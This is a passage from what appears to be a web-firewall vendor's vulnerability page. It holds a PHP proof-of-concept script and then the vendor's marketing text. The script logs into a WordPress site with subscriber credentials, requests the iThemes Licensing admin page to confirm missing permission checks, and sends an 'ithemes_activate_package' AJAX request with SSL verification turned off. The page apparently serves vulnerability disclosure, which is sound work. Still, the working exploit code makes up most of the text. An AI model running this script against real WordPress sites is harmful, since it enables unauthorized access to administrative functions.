$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    echo "[-] Login failed. Check credentials.n";
    exit(1);
}
echo "[+] Logged in as $usernamen";

// Step 2: Attempt to access the iThemes Licensing page (vulnerable endpoint)
$admin_page_url = $target_url . '/wp-admin/options-general.php?page=ithemes-licensing';

curl_setopt($ch, CURLOPT_URL, $admin_page_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, 'iThemes Licensing') !== false || strpos($response, 'License') !== false) {
    echo "[+] Successfully accessed iThemes Licensing page. Vulnerability confirmed.n";
    echo "[+] The subscriber user was able to access the licensing admin page without 'manage_options' capability.n";
} else {
    echo "[-] Could not access the licensing page directly. The page may have been removed or access is restricted.n";
}

// Step 3: Attempt to trigger AJAX actions that iThemes updater might register
// Many plugins register wp_ajax_* handlers that the updater uses
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Try to call a typical iThemes updater action (activate_package is common)
$ajax_data = array(
    'action' => 'ithemes_activate_package',
    'package' => 'wpcomplete',
    'username' => $username,
    'password' => $password
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (!empty($response) && strpos($response, 'error') === false) {
    echo "[+] AJAX request returned a response. The vulnerable endpoint may be accessible.n";
    echo "[+] Response: " . substr($response, 0, 200) . "n";
} else {
    echo "[-] AJAX endpoint did not respond or returned an error.n";
}

curl_close($ch);
echo "[+] PoC completed.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.